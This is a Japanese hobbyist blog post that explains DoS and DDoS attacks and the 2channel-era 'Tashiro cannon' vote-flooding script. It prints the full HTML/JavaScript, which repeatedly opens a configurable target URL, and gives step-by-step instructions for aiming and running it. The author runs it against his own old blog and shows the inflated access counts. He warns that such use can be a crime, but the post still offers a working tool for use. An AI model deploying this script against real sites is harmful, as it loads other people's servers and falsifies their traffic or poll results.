理系の理系による理系のためのブログ

理系以外の人も大歓迎です。

「田代砲」で遊びながら、サイバー攻撃の基本を理解しよう!

皆さんこんにちは。
里得木です。
GW最終日ということで、何かしたいなと思って、ファイルを漁っていたら、田代砲のコードを見つけたので、遊んでいこうと思います。

その前に、言葉の意味と仕組みを解説していこうと思います。
「田代砲」というのは、きわめて単純なDoS攻撃用の連続投票スクリプトの一種です。
2000年代の2ちゃんねるユーザーたちが、タレントの田代まさしを人気投票で1位にするために開発したことが名前の由来になっています。
DoS攻撃(Denial of Service Attack)はドス攻撃と読み、サーバーのパンクを目的とした集中アクセスによるサイバー攻撃のことを言います。

Dos攻撃のイメージ図

 

「DDoS攻撃」(Distributed Denial of Service Attack)はディードス攻撃と読み、Dos攻撃の中でも複数の機器を乗っ取り、不正にアクセスすることを指します。

DDos攻撃のイメージ図

F5キーを繰り返し押し、リロードをする「F5アタック」というものもあります。

F5キー

それでは、本題に入りましょう。
今回見つけたコードは、リロードを繰り返すだけという、単純なものです。

<!--■■■初期値■■■-->
<script>
var attackURL='https://eeai.hatenablog.com/';
var interval=10000;//1秒=1000
</script>

<!--▼▼▼田代砲ソースコード▼▼▼-->
<!--初期画面-->
<script>
var txt ='<tt>'
        +'<br>AttackURL:'+attackURL
        +'<br>AttackInt:'+(interval/1000)+'秒'
        +'</tt>'
        ;
document.write(txt);
</script>

<!--処理-->
<script>
var i=0;
function zp(i){if(i<1000){return ('00'+i).slice(-3);}else{return i;}}
function tt(att){return '<tt style="font-size:xx-small;'+att+'">';}
  
window.setInterval(function(){
  //初期画面の転写
  if(i==0){document.write(txt+'<br>');}
  
  //DDoS
  window.open(attackURL,null,'top=0,left=0,width=100,height=100');
  
  //ループ回数表示
  i++;
  if(i%100==1){document.write(tt("color:red;")+(i-1)+'</tt><br>');}
  document.write(tt()+zp(i)+' '+'</tt>');
  if(i%25==0){document.write('<br>');}  
  scrollTo(0,i*10);
}, interval);
</script>
<!--▲▲▲田代砲ソースコード▲▲▲-->

実際に使う場合は、

に攻撃先のリンクを、

10000

に攻撃間隔(秒)の1000倍を入力してください。
そのまま使ったら、僕のサイトのアクセス数稼ぎに貢献してしまいます。

だいぶ昔に少し投稿していたええあいのひとりごとに攻撃してみようと思います。
※実際にはサーバーに対して負荷をかけているので、誰のブログだろうと推奨はされません。
※あと、やりすぎると犯罪になるので、気を付けてください。
※それから、収益化しているサイトに対してやると、収益化解除されたり、収益が受け取れなかったりという可能性があるので、しないようにしましょう。

まず、上のコードをコピーして、メモ帳に張り付けます。

実際の画面

拡張子を.htmlにして、保存します。

実際の画面

そしたら、ダブルクリックをしてファイルを開きます。

実際の画面

ポップアップを許可します。

実際の画面

すると、こんな感じで、自動でリロードされます。

実際の画面



はてなブログでやるときはログアウトしていないとアクセスが認識されないので、注意してください。

そしたら、アクセス解析を見てみましょう。
アクセスされていたことがわかります。

アクセス解析の画面

 

DoS攻撃は、電子計算機損壊等業務妨害罪によって罰せられる可能性があります。
なので、良いこのみんなはやらないようにしましょう。